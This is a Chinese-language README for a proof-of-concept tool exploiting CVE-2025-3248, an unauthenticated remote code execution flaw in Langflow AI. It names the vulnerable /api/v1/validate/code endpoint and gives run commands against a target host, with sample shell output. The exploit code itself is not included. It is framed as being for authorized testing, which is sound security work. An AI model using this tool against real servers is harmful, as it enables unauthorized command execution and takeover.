CVE-2025-3248 — Langflow AI 远程代码执行（未认证）

作者： 0xgh057r3c0n

描述

该漏洞利用程序针对 Langflow AI 中的一个严重未认证远程代码执行漏洞（CVE-2025-3248）。该漏洞允许攻击者通过 /api/v1/validate/code 端点在目标服务器上执行任意系统命令。

此概念验证（PoC）工具提供了一个交互式 shell，用于测试和演示该问题。

前提条件

• Python 3.8 或更高版本
• pip3 用于安装依赖项

安装

1. 克隆仓库

git clone https://github.com/yourusername/CVE-2025-3248.git
cd CVE-2025-3248

2. 安装 Python 依赖

pip3 install -r requirements.txt

用法

python3 CVE-2025-3248.py -u http://TARGET_HOST:PORT

示例

python3 CVE-2025-3248.py -u http://127.0.0.1:7860

你将看到一个交互式 shell：

0xgh057r3c0n@root💀$ whoami
langflow

0xgh057r3c0n@root💀$ uname -a
Linux ubuntu 5.15.0-89-generic #99~20.04.1-Ubuntu SMP ...

• 输入 exit 或 quit 退出
• 支持常见的 Linux/Unix shell 命令

注意事项

• 已禁用 SSL 验证（适用于测试自签名证书）
• 此 PoC 仅用于教育和授权测试目的

许可证

本项目采用 MIT 许可证授权——详见 LICENSE 文件。

免责声明

本软件仅供教育和研究目的使用。 作者不对任何滥用此代码的行为承担责任。 请仅在你拥有或已获得明确测试许可的系统上使用。